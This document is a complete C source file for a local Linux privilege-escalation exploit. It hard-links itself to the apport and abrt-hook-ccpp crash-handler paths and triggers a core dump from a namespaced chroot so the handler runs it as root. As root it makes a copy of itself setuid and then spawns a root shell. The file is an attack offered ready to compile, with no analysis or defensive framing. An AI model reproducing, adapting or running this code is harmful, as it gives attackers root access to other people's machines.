|
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>
# warning this file must be compiled with -static
int main(int argc, char **argv)
{
int status;
Elf32_Phdr *hdr;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
hdr = (void *) getauxval(AT_PHDR);
for (i = 0; i < getauxval(AT_PHNUM); i++) {
if (hdr[i].p_type == PT_DYNAMIC) {
errx(EXIT_FAILURE, "you *must* compile with -static");
}
}
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {
err(EXIT_FAILURE, "failed to create required hard links");
}
if ((wrapper = fork()) == 0) {
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
if ((init = fork()) == 0) {
if ((subprocess = fork()) == 0) {
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
__builtin_trap();
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
return EXIT_FAILURE;
}
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
return EXIT_FAILURE;
}
if (waitpid(wrapper, &status, 0) == wrapper) {
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
|